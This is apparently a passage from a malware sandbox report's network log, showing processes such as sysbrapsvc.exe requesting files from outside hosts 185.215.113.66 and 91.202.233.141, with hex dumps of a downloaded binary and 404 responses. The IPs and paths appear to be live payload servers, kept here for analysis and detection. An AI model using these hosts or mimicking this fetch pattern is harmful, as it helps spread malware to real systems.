May 8, 2024 15:25:39.678167105 CEST	1289	IN	Data Raw: 0a 77 7f 18 36 b7 b6 91 f6 e6 01 f7 fb 10 50 4a 85 63 ef 94 f5 60 b5 c8 06 c8 3d 64 69 da a8 6d 30 32 bf 1e 29 ff 8e c7 b9 25 0e f1 a7 27 9c 08 3d 52 af 70 5d 92 9b c2 a7 1b ca 81 72 a0 4e a1 bd 92 d3 71 a2 66 e1 25 b1 70 36 c3 d0 df c7 b3 11 ca Data Ascii: w6PJc`=dim02)%'=Rp]rNqf%p6/f ^v8M4E@jX5'3A!c@jW]l\|7dqsG8v^f']MKhR1HVE&9pX6@n4VX3DNi
May 8, 2024 15:25:39.678183079 CEST	1289	IN	Data Raw: 2a 80 d4 70 56 39 70 59 4d 0f e5 66 e8 46 12 cf 0a fe df f4 7c 25 6d 8f ac d6 8c 63 e2 2c af d7 d4 f1 79 23 96 79 70 f7 15 71 bf 22 00 5f b0 b7 32 f5 4d 1d cc 3f 86 c7 00 fa 71 80 a2 6f 15 92 cb d2 09 07 bf 39 61 4a 6d 1f f0 cf 9a b2 82 28 c8 65 Data Ascii: pV9pYMfF\|%mc,y#ypq"_2M?qo9aJm(eXpv=,a6o[C%9=cg78xpN&xh[l6R?LdL .[</.`;&1R/Q
May 8, 2024 15:25:39.678198099 CEST	1289	IN	Data Raw: a4 9d aa 76 a5 5b 73 c6 19 e8 80 c3 a4 48 a8 85 ca 88 43 82 67 d3 d6 66 0d 7a 36 34 64 b8 83 cc 98 a4 67 cf 4e 4f 4c 68 80 0c 75 9a 0c 85 a3 9c a5 bd 4a bc ea 47 7f b8 71 b4 9d a0 7b 9b 68 85 84 2c 86 b1 1b 7c 8a 14 67 c6 41 95 51 ff 3e 18 83 6f Data Ascii: v[sHCgfz64dgNOLhuJGq{h,\|gAQ>o5{91GaBJRq!_fRy*QCRWLbdTs@/ENA5)d{# o`k_<AiHqN,6eH )LTn^Qnyap)SaM
May 8, 2024 15:25:39.678260088 CEST	1289	IN	Data Raw: 57 ab c1 04 01 4b 78 e6 fc e2 60 39 58 67 cd 41 fc 8a 98 51 b7 4e 6b 4a 3f 87 57 5b 23 21 30 63 d3 6c 63 28 b8 9d ad 2a f5 dc 9b 65 17 ea 19 98 63 fc 8a 0d a7 60 46 fe bc 00 2c d3 b0 d9 d7 df 54 e5 97 00 01 e8 bb 31 c9 86 36 56 69 db 80 e2 55 b0 Data Ascii: WKx`9XgAQNkJ?W[#!0clc(*ec`F,T16ViUt[1"Y!?n{T\,\|q=q/0T?\QIjcv(JHJdc7-{-sc>d!ql#LqlrvD;`-w/IO:
May 8, 2024 15:25:39.678329945 CEST	1289	IN	Data Raw: 87 d2 44 52 54 d0 7c d3 ef bf 7d 15 8c 05 3e 44 a3 62 eb a9 16 ee 0a e7 ea b7 a4 36 c3 dd c3 ee cf 88 56 4c 2c e5 fd 02 ae 51 65 dc 04 6f dc 97 ca e5 49 9f 6a 7c b1 6c bb b7 39 b1 02 59 2f 47 11 1d c1 f7 34 ba c1 23 0c a5 17 8c cb 01 63 77 22 31 Data Ascii: DRT\|}>Db6VL,QeoIj\|l9Y/G4#cw"1A~.<ZBoD"`(W;`T73-"pI;Igk"DryYwDZMU(RRV)H:Z:{{5\rBn}oIq_7,>h.tV{r
May 8, 2024 15:25:39.678381920 CEST	465	IN	Data Raw: b3 d0 ab 1f 76 29 d1 74 b5 bf 97 38 a1 3e ac 4f 49 3d 20 20 c9 37 69 05 0b 00 02 b6 94 ee e9 61 47 a0 4c 0a 82 8b 91 eb 0c e8 22 83 fc 35 a8 61 47 af 8f 8f f9 0f 41 de 32 73 ff a9 08 b6 33 d9 ff a5 0e cc fc a2 24 bc 6c 9f 31 c5 e1 cc a1 02 e7 fc Data Ascii: v)t8>OI= 7iaGL"5aGA2s3$l1<ce uUK[OZL,NQLm]r.IDaKs%l!KHtqqbQ=sIIsmVd5ZY]X7uzEnSVNsp$!wmB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.8	49793	185.215.113.66	80	5588	C:\Windows\sysbrapsvc.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:25:39.484021902 CEST	166	OUT	GET /6 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
May 8, 2024 15:25:39.822788954 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:25:39 GMT Content-Type: application/octet-stream Content-Length: 11520 Last-Modified: Sat, 04 May 2024 13:18:06 GMT Connection: keep-alive ETag: "6636358e-2d00" Accept-Ranges: bytes Data Raw: 4d 69 d1 66 af 90 ca ef 04 18 04 8f 9a 4f 78 79 a1 72 45 cd 89 72 d1 57 c0 33 c8 d8 28 db 5b 31 72 fa ec 98 3c 67 3f a8 16 70 92 cc 17 52 3d bb 9c 7b 03 65 25 32 e0 f5 c9 73 9d f1 c1 03 8b 8e 35 d8 88 02 5c 9e 73 f4 5b 07 c1 59 15 e9 c6 f5 e9 ef ad d9 43 18 62 a0 a9 2f 0a 3e 55 89 eb 57 0d 52 27 a6 07 3a 8b a9 bf 6c 43 a0 c6 ec 73 86 2c 9e 66 7d 06 e8 29 fd 4f 06 ba 83 84 25 5e 77 3e ad 2f e6 c8 42 af 31 8c 99 1e c4 f3 8d d4 94 d6 e0 12 42 3f ef 15 eb 39 c4 ff 0d a7 86 c6 e5 10 fc 73 6e ab 62 92 c2 cd 28 06 90 55 e6 71 50 2b 89 99 62 40 9b 39 d1 35 82 0d 31 00 b7 89 c9 29 bb 7d ec b0 ea 71 90 84 34 1d b7 73 e9 b8 4f 66 ae ce b1 f4 c6 6b 53 a3 c4 e2 b8 1a 13 69 8d 8d c5 6e 29 c8 3e 7c 53 2f 76 35 46 20 d0 37 48 e0 81 55 8c 36 e9 2e c7 17 43 32 30 71 9e 05 33 43 0d ba 30 31 91 e7 98 12 0b ba 93 dd 00 de 30 fd 0f 7c 5a 37 06 55 11 28 6f 92 5e b5 c8 f4 c0 78 2a c2 0a fd 4a 0c f8 13 b4 58 8e e9 79 4d 99 7a 1c 94 f8 12 84 db 8c 82 fd 3a 97 f0 92 23 5e 84 cb 02 45 5b 00 bb 11 d2 71 33 9b 87 c5 d8 f7 ce 18 [TRUNCATED] Data Ascii: MifOxyrErW3([1r<g?pR={e%2s5\s[YCb/>UWR':lCs,f})O%^w>/B1B?9snb(UqP+b@951)}q4sOfkSin)>\|S/v5F 7HU6.C20q3C010\|Z7U(o^xJXyMz:#^E[q3L\?w5T_ZA#[jqUyG )1a]rbwlZQuafbnpn3,k#k!rqB9O8XY%pQfC8GDoyPyWo?!/nZzK\|C[-EgEeGpwuyh%,5GjJP!mmHQr)oVJ<Wh#<"Tf+8}K4&sR'{nLgu9NYRs^sA7G2mI8Yj{%aU=Xg&TRg&B5wiroW+8dlnrthwID&4P"T@Uj'E_rMzAl!F}fsunfb3#C4&@@G1 ioC,WAZw.d3!LsF= ?T{ R*M]V?:HK//\|f"?6edfIM"3\Dys:yKhNFwY"oQtyFt9t:" [TRUNCATED]
May 8, 2024 15:25:39.822804928 CEST	1289	IN	Data Raw: fb 97 3d 42 70 69 f4 d0 6a d4 64 5d a9 23 47 e7 52 a7 c1 d7 43 8f cf 0d 5b 9a aa 34 1e 7a 10 5f ac 61 5b 0a 44 53 86 32 fc 6b 44 b6 49 0a c7 40 06 33 92 a6 5d 6c 1e 63 f7 06 96 6e 19 64 25 51 78 ac 38 7c 66 e1 8d 97 78 f2 9d 59 03 21 60 8e 4e 9a Data Ascii: =Bpijd]#GRC[4z_a[DS2kDI@3]lcnd%Qx8\|fxY!`N5zm"@%hlTz?g4Da:2\iTe.AD$F=u<N<>L%Acf5"-+"Zhb'6Y-b<D0Hn6S#}2qV!jVe&yPyXC*
May 8, 2024 15:25:39.822957039 CEST	1289	IN	Data Raw: 1a 46 bb ff b1 fa 98 44 c5 18 6c 9e 0d ec 06 f9 44 ad ac 14 68 8e 3c 37 c7 63 f7 ba f9 8e 1b 7d 54 ce d3 2c 5b d2 fc 55 f9 78 94 81 b2 1f a7 3a b6 3c ec 69 e6 35 7c 15 79 48 36 d9 9e 73 0a 15 67 8d 1f 32 00 43 7d f6 90 4e 5b d7 bf 3b 6d 8a c6 0d Data Ascii: FDlDh<7c}T,[Ux:<i5\|yH6sg2C}N[;mPTHNCSQwcXpRwDF1[^3LTk6QgGt,C`bO?FE`;,fdBlJ1$z/AhCZTK~*KBK<}r5uJ^
May 8, 2024 15:25:39.822978020 CEST	1289	IN	Data Raw: d6 7d f5 5f d9 ad a7 b3 48 ed 48 0f ed d0 a6 96 e0 05 f7 34 23 65 b6 2a 32 d5 2b 99 9e 59 e7 a9 c2 a3 a2 1e 4b aa 64 c1 ae 4e b8 34 7b 57 88 1d d0 92 ef 80 86 9d e5 82 de 2c 4b 34 03 65 a1 e8 4a ba 91 c0 a7 02 74 37 db ea aa 60 a0 a4 7a 12 0d 6d Data Ascii: }_HH4#e2+YKdN4{W,K4eJt7`zmZ5UG?RN'Oio?b[AEvS&;=YFj"a_Y*'ih5T4DrE:o^D0C,cyxD~KlE,P/'mP~S
May 8, 2024 15:25:39.823371887 CEST	1289	IN	Data Raw: 40 9d 2f 40 92 1d dc 2e 2d 37 07 95 c0 ca 27 b3 45 f9 db 57 cc 3c b3 94 3c 1c 6e a7 f9 03 68 03 f9 94 26 62 55 3d d2 84 91 a2 08 81 a0 cf 06 ad 0a 96 5d 18 4d 46 d5 71 52 28 c2 23 ad 04 c6 9e 13 96 5a df 9d 4a 31 8a 0d 44 89 cd 7a 9e 0a 4b af 79 Data Ascii: @/@.-7'EW<<nh&bU=]MFqR(#ZJ1DzKyZ~s^V,j{OZ\|4Mi{0X~xLSITC[H{X4obLUFSYCA[kW0ym9_"^^%D8RL4/!~=\MIDW.xtL<7QH2
May 8, 2024 15:25:39.823386908 CEST	1289	IN	Data Raw: 44 4d a6 a3 b7 22 c2 5b 9f 42 16 aa a0 54 8e 79 60 78 63 27 93 c8 7b 4f 79 c4 39 e2 83 37 c6 3c 77 b6 6f c5 bd 55 c4 dd af 2f d6 8e 19 0b 89 c3 74 7c e8 62 ed 59 e0 3d f9 9f f6 a4 01 1a db e9 8e c3 a0 08 ab b1 db ce c5 be 6b 2e c1 21 3d 3b 72 f6 Data Ascii: DM"[BTy`xc'{Oy97<woU/t\|bY=k.!=;r\&q9C_SfNHUFANxjH{0FX#pyzcL(&5FGv@OJu$u;.:Kr3{Ys'~40.gW9-p
May 8, 2024 15:25:39.823712111 CEST	1289	IN	Data Raw: 96 c7 1e 99 2a 65 47 5a 2f 04 61 95 c3 f7 3b 13 2d 1f 19 99 60 44 70 cc 71 89 26 ce fe 61 07 db 08 67 7b ef 72 66 48 9c 03 5c 52 eb 77 87 ba e0 6c 75 f8 82 5e 71 cc 4e 93 81 a7 97 ee d8 22 7d fd 87 70 04 2c 56 52 7b 5c c1 82 64 36 3b 23 11 5b 64 Data Ascii: *eGZ/a;-`Dpq&ag{rfH\Rwlu^qN"}p,VR{\d6;#[dRuuo5h{.pQajc}hqR';C@{F#O8rlES06QI,W\|<#wF%\3'J,\|pi-]D
May 8, 2024 15:25:39.823726892 CEST	1289	IN	Data Raw: ad 00 b0 d7 3a 66 4e 1e 03 44 ca 9a 69 86 81 3d 7b 3e 74 3d 11 a0 40 8a b0 4a ec 07 f1 39 3a c3 8a 08 fe 9a 04 56 91 cb 6e 0b b7 3d 71 77 1a ab 17 c8 b2 a1 13 f0 84 da c4 a6 3d 8b 0e b7 48 c2 70 8b 3d 79 0b 7b d0 83 40 bc 6e 63 e0 65 3c eb 92 7d Data Ascii: :fNDi={>t=@J9:Vn=qw=Hp=y{@nce<}K;m)2<+)}R\|KG#Hp;+q-a+PG V(:2\%D#v_=Vcf~t*UszjG,Hj\|kwD^J[2;
May 8, 2024 15:25:39.823790073 CEST	1289	IN	Data Raw: 4a fc ac 2a f0 d4 7f 4b 5b 5e d3 b6 bb f2 53 4c 5a 65 a8 db fd c0 16 ef fa 31 99 22 f9 0c fc 39 a7 0a 63 e4 67 bf a5 a8 22 34 1f 1a 3e 8f 8b 2c 95 d1 b2 2f 63 fb d3 8c b1 e4 9b d3 5c f8 a4 85 be 1f 12 ae 72 d5 58 85 43 52 e6 38 c2 6f 80 6d 00 79 Data Ascii: JK[^SLZe1"9cg"4>,/c\rXCR8omyDoBpxA\|l;)/m:O[]n&A=+a#c7vC#c&UQXZa.J_ana^-:V:jdx+.<K="uR`*2SY
May 8, 2024 15:25:39.823805094 CEST	184	IN	Data Raw: 62 6b e6 21 ab a9 eb e8 9e 02 55 78 11 38 01 35 39 77 e9 44 37 e2 1d f0 1e a9 4c 4a ab 33 4c eb 41 0e 7e b2 f2 cb 7b c4 d9 0a 53 01 ea 34 e0 60 75 f2 6c 58 bc 8e db 3d 9d 02 23 ac bf af 98 e0 41 25 68 5a 3d a9 69 92 af 5f 51 c7 ca 1d de fa 66 d1 Data Ascii: bk!Ux859wD7LJ3LA~{S4`ulX=#A%hZ=i_Qf]J`7LO/6o.?n-;K/:W$[G}coB%9lA=Nj@E_*+q{@:'W1pfe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.8	49794	91.202.233.141	80	2060	C:\Users\user\AppData\Local\Temp\1146722911.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:25:43.063368082 CEST	167	OUT	GET /_1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Host: 91.202.233.141
May 8, 2024 15:25:43.412086964 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:25:43 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
May 8, 2024 15:25:45.434943914 CEST	167	OUT	GET /_2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Host: 91.202.233.141
May 8, 2024 15:25:45.781805038 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:25:45 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
May 8, 2024 15:25:47.810445070 CEST	167	OUT	GET /_3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Host: 91.202.233.141
May 8, 2024 15:25:48.156766891 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:25:47 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.8	49795	91.202.233.141	80	5588	C:\Windows\sysbrapsvc.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:25:43.203051090 CEST	166	OUT	GET /1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 91.202.233.141
May 8, 2024 15:25:43.548258066 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:25:43 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.8	49796	91.202.233.141	80	5588	C:\Windows\sysbrapsvc.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:25:45.926543951 CEST	166	OUT	GET /2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 91.202.233.141
May 8, 2024 15:25:46.277040005 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:25:46 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.8	49797	91.202.233.141	80	5588	C:\Windows\sysbrapsvc.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:25:48.666867971 CEST	166	OUT	GET /3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 91.202.233.141
May 8, 2024 15:25:49.024565935 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:25:48 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.8	49800	91.202.233.141	80	5588	C:\Windows\sysbrapsvc.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:25:51.563631058 CEST	166	OUT	GET /4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 91.202.233.141
